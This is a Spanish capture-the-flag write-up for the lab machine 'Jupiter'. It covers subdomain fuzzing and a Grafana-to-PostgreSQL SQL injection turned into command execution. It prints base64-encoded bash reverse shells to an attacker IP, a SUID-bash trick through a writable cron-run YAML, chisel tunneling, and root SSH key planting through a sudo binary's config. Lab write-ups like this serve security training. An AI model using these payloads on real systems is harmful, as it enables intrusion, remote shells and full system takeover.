Jupiter


En la máquina de hoy vamos a estar tocando enumeración de subdominios, derivaremos una inyección postgresql a un RCE. Y para la escalada tocaremos tareas cron, portfordwarding y python

November 1, 202316 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

ping -c 1 10.10.11.216
PING 10.10.11.216 (10.10.11.216) 56(84) bytes of data.
64 bytes from 10.10.11.216: icmp_seq=1 ttl=63 time=174 ms

--- 10.10.11.216 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 174.469/174.469/174.469/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.216 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.11.216
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

nmap -p22,80 -sCV 10.10.11.216 -oN versions
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-01 17:21 CET
Nmap scan report for 10.10.11.216
Host is up (0.099s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_  256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

HTTP

El nmap reporto que el puerto 80 estaba abierto y que no se hacía el redirect a jupiter.htb. Esto significa que el servidor puede estar usando virtual hosting

Qué es virtual hosting?

El virtualhost, o servidor virtual, es una forma de alojamiento web que permite que varias páginas web puedan funcionar en una misma máquina. Hay dos tipos de virtualhost:

  • Los que se basan en direcciones IP, donde cada página web tendrá una IP diferente.
  • Los que se basan en nombres de dominio, donde una sola dirección IP funcionan varias páginas web.

Definición sacada de: https://linube.com/ayuda/articulo/267/que-es-un-virtualhost


http-title: Did not follow redirect to http://jupiter.htb/

Para solucionar esto hay que añadir en el /etc/hosts la siguiente línea:

10.10.11.216 jupiter.htb

Con esto estamos diciendo que el dominio jupiter.htb hace referencia a la ip 10.10.11.216. Ahora ya podemos acceder a la web desde el navegador. La web no tiene nada interesante, asi que vamos a buscar subdominios, para ello podemos usar muchas herramientas, pero voy a usar wfuzz

wfuzz -c -t 20 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/
Explicación parámetros
  • -c: Mostrar el resultado con colores
  • -t: Definir el tiempo del escaneo
  • -w: Diccionario
  • -H: Especificar un header
  • FUZZ: Es donde va a ir probando el contenido del diccionario

Este comando nos muestra muchos subdominios, pero todos tienen código 301, 178 caracteres, 12 palabras y 7 líneas

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================

000000001:   301        7 L      12 W       178 Ch      "www"                                         
000000045:   301        7 L      12 W       178 Ch      "www1"                                        
000000042:   301        7 L      12 W       178 Ch      "static"                                      
000000015:   301        7 L      12 W       178 Ch      "ns"                                          
000000003:   301        7 L      12 W       178 Ch      "ftp"                                         
000000031:   301        7 L      12 W       178 Ch      "mobile"                                      
000000044:   301        7 L      12 W       178 Ch      "web"                                         
000000046:   301        7 L      12 W       178 Ch      "img"                                         
000000041:   301        7 L      12 W       178 Ch      "dns1"                                        
000000043:   301        7 L      12 W       178 Ch      "lists"                                       
000000040:   301        7 L      12 W       178 Ch      "ns4"                                         
000000007:   301        7 L      12 W       178 Ch      "webdisk"                                     
000000039:   301        7 L      12 W       178 Ch      "dns2"
...   

Lo que podemos hacer es añadir el parámetro -hh=178 para ocultar las respuestas con 178 caracteres.

wfuzz -c -t 20 --hh=178 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.jupiter.htb" http://jupiter.htb/

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                       
=====================================================================

000001955:   200        211 L    798 W      34390 Ch    "kiosk" 

Ahora ya nos reporta un subdominio, kiosk, para poder verlo tenemos que añadirlo en el /etc/hosts de la siguiente forma

10.10.11.216 jupiter.htb kiosk.jupiter.htb

Al entrar a kiosk.jupiter.htb, vemos una web hecha con Grafana, concretamente si nos vamos al login vemos que es un grafana v9.5.2.

En la página principal, si nos vamos a cualquier apartado y le damos a los 3 puntos > inspeccionar > Panel JSON, vemos lo siguiente:

{
  "datasource": {
    "type": "postgres",
    "uid": "YItSLg-Vz"
  },
  "fieldConfig": {
    "defaults": {
      "mappings": [],
      "thresholds": {
        "mode": "percentage",
        "steps": [
          {
            "color": "green",
            "value": null
          },
          {
            "color": "orange",
            "value": 70
          },
          {
            "color": "red",
            "value": 85
          }
        ]
      },
      "color": {
        "mode": "thresholds"
      }
    },
    "overrides": []
  },
  "gridPos": {
    "h": 8,
    "w": 12,
    "x": 0,
    "y": 24
  },
  "id": 30,
  "options": {
    "reduceOptions": {
      "values": false,
      "calcs": [
        "lastNotNull"
      ],
      "fields": ""
    },
    "orientation": "auto",
    "textMode": "auto",
    "colorMode": "value",
    "graphMode": "area",
    "justifyMode": "auto"
  },
  "pluginVersion": "9.5.2",
  "targets": [
    {
      "datasource": {
        "type": "postgres",
        "uid": "YItSLg-Vz"
      },
      "editorMode": "code",
      "format": "table",
      "hide": false,
      "rawQuery": true,
      "rawSql": "select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Jupiter';",
      "refId": "A",
      "sql": {
        "columns": [
          {
            "parameters": [],
            "type": "function"
          }
        ],
        "groupBy": [
          {
            "property": {
              "type": "string"
            },
            "type": "groupBy"
          }
        ],
        "limit": 50
      }
    }
  ],
  "title": "Number of Moons",
  "type": "stat"
}

Teniendo esto, nos podemos fijar en que la base de datos es postgres y que se está haciendo una petición a la base de datos:

select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Jupiter';

Si volvemos a la página principal y hacemos ctrl + shift + c y vamos al apartado Red podemos ver que a medida que vamos scroleando se van haciendo peticiones. Vamos a interceptarlas con burpsuite.

POST /api/ds/query HTTP/1.1
Host: kiosk.jupiter.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: application/json, text/plain, */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://kiosk.jupiter.htb/d/jMgFGfA4z/moons?orgId=1&refresh=1d
...

{"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Jupiter';","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":928}],"range":{"from":"2023-11-01T11:31:09.304Z","to":"2023-11-01T17:31:09.304Z","raw":{"from":"now-6h","to":"now"}},"from":"1698838269304","to":"1698859869304"}

En la petición interceptada podemos ver la petición que se está haciendo a la base de datos Postgres

Intrusión

Para saber como hacer una inyección a un PostgreSQL existe un recurso muy interesante de la repo de Payloads All The Things, en el cual se menciona una vulnerabilidad interesante que consiste en derivar la inyección sql a un rce (Remote Code Execution)

Básicamente, consiste en crear una tabla en la base de datos en uso por la web

CREATE TABLE cmd_exec(cmd_output text);

Mediante COPY se pondrá en la tabla el resultado del comando id, lo que provocará que se ejecute el comando ìd

COPY cmd_exec FROM PROGRAM 'id';

De forma opcional, en el caso de que podamos ver el output lo podríamos ver simplemente haciendo una petición a la tabla cmd_exec

SELECT * FROM cmd_exec;

Sabiendo esto vamos con la explotación:

Creamos la tabla cmd_exec

"rawSql":"CREATE TABLE cmd_exec(cmd_output text);"

Ahora nos ponemos en escucha por la interfaz tun0 a la espera de paquetes icmp que son los que usa ping.

sudo tcpdump -i tun0 icmp

Por último mandamos la inyección para ejecutar un ping a nuestra máquina

"rawSql":"COPY cmd_exec FROM PROGRAM 'ping -c 1 10.10.14.28';"

El servidor nos responde con un status 200

{"results":{"A":{"status":200,"frames":[]}}}

Y vemos que se ha hecho el ping correctamente, lo que significa que tenemos capacidad de ejecutar comandos en la máquina víctima

18:47:24.492218 IP jupiter.htb > 10.10.14.28: ICMP echo request, id 2, seq 1, length 64
18:47:24.492238 IP 10.10.14.28 > jupiter.htb: ICMP echo reply, id 2, seq 1, length 64

Reverse shell

Vamos a ponernos en escucha con netcat por el puerto 443

nc -nlvp 443
Explicación parámetros
  • n: Sirve para que no haga la resolución de DNS
  • l: Habilitar modo escucha de netcat
  • v: Verbose, modo detallado de netcat
  • p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha

La revershell la vamos a mandar con bash: bash -i >& /dev/tcp/10.10.14.28/443 0>&1, pero lo pondremos dentro de bash -c "bash- i..." porque puede ser que la normal la bloquee la máquina víctima. En resumen quedará así:

bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"

Antes de aplicarlo a la inyección vamos a convertirlo en base64 para evitar que los caracteres especiales den problemas.

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64

El comando final que tendremos que poner en la inyección seria, primero un echo con el base64, después un base64 -d para decodear el base64 y por último bash para que el resultado del base64 lo ejecute con bash.

echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash

Esto aplicado a la inyección quedaría de la siguiente forma:

"rawSql":"COPY cmd_exec FROM PROGRAM 'echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash';"

¡Recibimos la conexión!

$ nc -nlvp 443

listening on [any] 443 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.216] 46594
bash: cannot set terminal process group (18744): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ 

Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

Escalada de privilegios

Con un ifconfig podemos comprobar que estamos en la máquina víctima y no en ningún contenedor

postgres@jupiter:/var/lib/postgresql/14/main$ ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.216  netmask 255.255.254.0  broadcast 10.10.11.255
        ...

Sabiendo que la web era un grafana, existe un archivo interesante, el cual puede contener credenciales e información de valor que está en /etc/grafana/grafana.ini, pero no tenemos permisos para verlo

postgres@jupiter:/etc/grafana$ cat grafana.ini

cat: grafana.ini: Permission denied

juno

Vamos a investigar si hay alguna tarea cron ejecutándose cada ‘x’ tiempo, para ello vamos a usar pspy. Para usarlo simple nos lo descargamos en nuestra máquina, nos montamos un servidor con python en el directorio en el que esté guardado

python3 -m http.server

Y nos lo descargamos en la máquina víctima en el directorio /tmp

wget 10.10.14.28/pspy64

Por último le damos permisos de ejecución y lo ejecutamos

chmod +x pspy64
./pspy64

Después de un rato capturando procesos vemos un script ubicado en /home/juno/shadow-simulation.sh el cual se esta ejecutando con bash. También se está ejecutando /home/juno/.local/bin/shadow pasandole el archivo /dev/shm/network-simulation.yml

2023/11/01 18:52:01 CMD: UID=1000  PID=21187  | /bin/bash /home/juno/shadow-simulation.sh 
2023/11/01 18:52:01 CMD: UID=1000  PID=21186  | /bin/sh -c /home/juno/shadow-simulation.sh 
2023/11/01 18:52:01 CMD: UID=1000  PID=21189  | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml
2023/11/01 18:52:01 CMD: UID=1000  PID=21198  | /usr/bin/python3 -m http.server 80 
2023/11/01 18:52:01 CMD: UID=1000  PID=21199  | /usr/bin/curl -s server

No tenemos acceso a /home/juno por lo que no podemos ver el script shadow-simulation.sh, pero sí tenemos acceso a /dev/shm. Si hacemos un cat al /dev/shm/network-simulation.yml podemos ver lo siguiente:

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

Si nos fijamos, hay dos comandos que se están ejecutando python3 -m http.server 80 y curl -s server los cuales en el pspy salía que se ejecutaban después del /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml

2023/11/01 18:52:01 CMD: UID=1000  PID=21198  | /usr/bin/python3 -m http.server 80 
2023/11/01 18:52:01 CMD: UID=1000  PID=21199  | /usr/bin/curl -s server

Con un ls -l vemos que tenemos permisos de escritura y lectura en el /dev/shm/network-simulation.yml

$ls -l /dev/shm/network-simulation.yml

-rw-rw-rw- 1 juno juno 815 Mar  7  2023 /dev/shm/network-simulation.yml

Así que vamos a modificarlo…

Vamos a hacer que haga una copia de /bin/bash en /tmp/bash y le dé permisos suid

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/cp
      args: /bin/bash /tmp/bash
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/chmod
      args: u+s /tmp/bash
      start_time: 5s

Ahora solo falta esperar a que se ejecute y ejecutar /tmp/bash -p para ejecutar la bash con privilegios

postgres@jupiter:/tmp$ /tmp/bash -p
bash-5.1$ whoami
juno

jovian

Pasa una cosa rara y es que somos juno, pero algunos comandos se ejecutan como postgres como en este caso ìd

bash-5.1$ whoami
juno
bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert) 

Para solucionar esto vamos a conectarnos por ssh, primero en la máquina atacante vamos a crear las llaves ssh con ssh-keygen. Esto nos creará una carpeta en nuestro directorio llamada .ssh, dentro habrá un archivo llamado id_rsa.pub que será nuestra llave pública, esta llave vamos a tener que ponerla en /home/juno/authorized_keys. Ahora ya nos podemos conectar por ssh sin necesidad de especificar contraseñas

ssh juno@10.10.11.216

Ahora que ya tenemos una consola en condiciones, vamos a hacer un id para ver en que grupos estamos

uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)

Hay un grupo que llama la atención, science. Podemos buscar que archivos pertenecen a este grupo con el siguiente comando

find / -group science 2>/dev/null

/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv

El find reporta que en el /opt hay muchos archivos del grupo science.

Si vamos al /opt/solar-flares/logs, hay muchos archivos de logs, al hacer un cat al más reciente se ve lo siguiente

juno@jupiter:/opt/solar-flares/logs$ cat jupyter-2023-11-01-22.log

.....
[I 19:22:56.926 NotebookApp] http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
[I 19:22:56.927 NotebookApp]  or http://127.0.0.1:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093
.....

Vemos que hay una web en la máquina víctima por el puerto 8888, pero ese puerto no lo reporto nmap, eso es porque seguramente este puerto solo se puede ver desde la máquina víctima. Para ver más información de los puertos podemos usar ss -tnlp

juno@jupiter:/opt/solar-flares/logs$ ss -tnlp
State       Recv-Q       Send-Q             Local Address:Port             Peer Address:Port      Process      
LISTEN      0            511                      0.0.0.0:80                    0.0.0.0:*                      
LISTEN      0            4096               127.0.0.53%lo:53                    0.0.0.0:*                      
LISTEN      0            128                      0.0.0.0:22                    0.0.0.0:*                      
LISTEN      0            4096                   127.0.0.1:3000                  0.0.0.0:*                      
LISTEN      0            128                    127.0.0.1:8888                  0.0.0.0:*                      
LISTEN      0            244                    127.0.0.1:5432                  0.0.0.0:*                      
LISTEN      0            128                         [::]:22                       [::]:*                      

Si queremos ver este puerto desde nuestra máquina podemos hacer port forwarding, podríamos usar ssh, pero no me apetece así que vamos a usar chisel.

Usarlo es muy sencillo, simplemente nos lo descargamos en nuestra máquina, lo pasamos a la máquina víctima con un servidor con python como hicimos con pspy anteriormente (python3 -m http.server 80), le damos permisos de ejecución (chmod +x chisel) y ejecutamos lo siguiente

Máquina atacante:

sudo ./chisel server --reverse -p 1234

Máquina víctima:

./chisel client 10.10.14.28:443 R:8888:127.0.0.1:8888 &

Ahora nuestro puerto 8888 equivale al puerto 8888 de la máquina víctima, con esto completado ya podemos entrar al link que veíamos en los logs

http://localhost:8888/?token=a36adfafb8a4239c215350cad2e1cc07696168a8e4fa6093

Una vez dentro vemos varios archivos los cuales podemos modificar, por lo que podemos intuir que esta web está siendo ejecutada por root o por jovian. Si vamos a flares.ipynb vemos un archivo que parece tener una documentación de python y arriba hay un botón que pone run y tenemos capacidad para modificar el archivo así que se puede intentar un rce.

import os 
os.system('whoami')

jovian

Pues tenemos un rce y ya sabemos quién estaba ejecutando esto: jovian

Para conseguir una reverse shell vamos a usar lo mismo que usamos al principio, así que no lo voy a voler a explicar para no alargar el post

import os 
os.system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK | base64 -d | bash')

Ya somos jovian!

$ nc -nlvp 443
listening on [any] 443 ...

jovian@jupiter:/opt/solar-flares$

root

Con un sudo -l vemos que podemos ejecutar como root sin la necesidad de proporcionar contraseña el archivo /usr/local/bin/sattrack

$ sudo -l

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

Al ejecutarlo nos sale que no ha encontrado el archivo de configuración

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!

Vamos a probar de ver desde donde lo está cargando con el comando strings. El comando strings es básicamente como un cat, pero que solo muestra el contenido legible de archivos como binarios, fotografias, etc..

strings /usr/local/bin/sattrack | grep config
/tmp/config.json

Vemos la ruta /tmp/config.json, pero claro, no existe, lo que podemos hacer es buscar en el sistema si existe algún config.json que sea la configuración default para este binario

$ find / -name config.json 2> /dev/null

/usr/local/share/sattrack/config.json

El comando find nos reporta un config.json que está en una carpeta que se llama igual que el binario así que supongo que tendrán algo que ver, vamos a copiar ese archivo al /tmp

cp /usr/local/share/sattrack/config.json /tmp/config.json

Ahora ya podemos ejecutar el binario, pero se queda colgado cargando el recurso de una web.

$ sudo /usr/local/bin/sattrack

Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt

Vamos a ver si podemos modificar esto desde el archivo config.json

{
	"tleroot": "/tmp/tle/",
	"tlefile": "weather.txt",
	"mapfile": "/usr/local/share/sattrack/map.json",
	"texturefile": "/usr/local/share/sattrack/earth.png",
	
	"tlesources": [
		"http://celestrak.org/NORAD/elements/weather.txt",
		"http://celestrak.org/NORAD/elements/noaa.txt",
		"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
	],
	
	"updatePerdiod": 1000,
	
	"station": {
		"name": "LORCA",
		"lat": 37.6725,
		"lon": -1.5863,
		"hgt": 335.0
	},
	
	"show": [
	],
	
	"columns": [
		"name",
		"azel",
		"dis",
		"geo",
		"tab",
		"pos",
		"vel"
	]
}

En tlsources están las webs que estaba cargando el binario, como nosotros tenemos permisos para modificar este script podemos probar de poner nuestra ip y abrirnos un servidor con python (python3 -m http.server 80) para ver si recibimos la petición

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Get:0 http://10.10.14.28
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [01/Nov/2023 21:25:27] "GET / HTTP/1.1" 200 -

Efectivamente recibimos la petición. Ahora podríamos probar de poner en vez de nuestra ip poner file:///root/root.txt

Después de ejecutarlo tenemos la flag de root en /tmp/tle/root.txt

Ya tenemos la flag, pero la gracia es tener una consola como root así que lo que vamos a hacer es generarnos unas llaves de ssh en nuestra máquina

ssh-keygen

Ahora dentro de nuestro directorio personal tenemos una carpeta .ssh y dentro están las llaves, vamos a copiar la llave pública ìd_rsa.pub y la vamos a poner en un archivo llamado authorized_keys, en ese mismo directorio nos vamos a montar otro servidor con python python3 -m http.server 80

En la máquina víctima vamos a modificar un poco el archivo /tmp/config.json, en la opción tle root podemos poner en que ruta queremos que se descarguen los archivos, ahí vamos a poner la ruta de las llaves de root

"tleroot": "/root/.ssh/",

Por último en tlesources pondremos nuestra ip y el archivo authorized_keys

"http://10.10.14.28/authorized_keys"

Ahora al ejecutar el programa se pondrá nuestra llave pública dentro de las authorized_keys de root lo que nos va a permitir conectarnos por ssh sin la necesidad de proporcionar contraseña

ssh root@10.10.11.216

root@jupiter:~#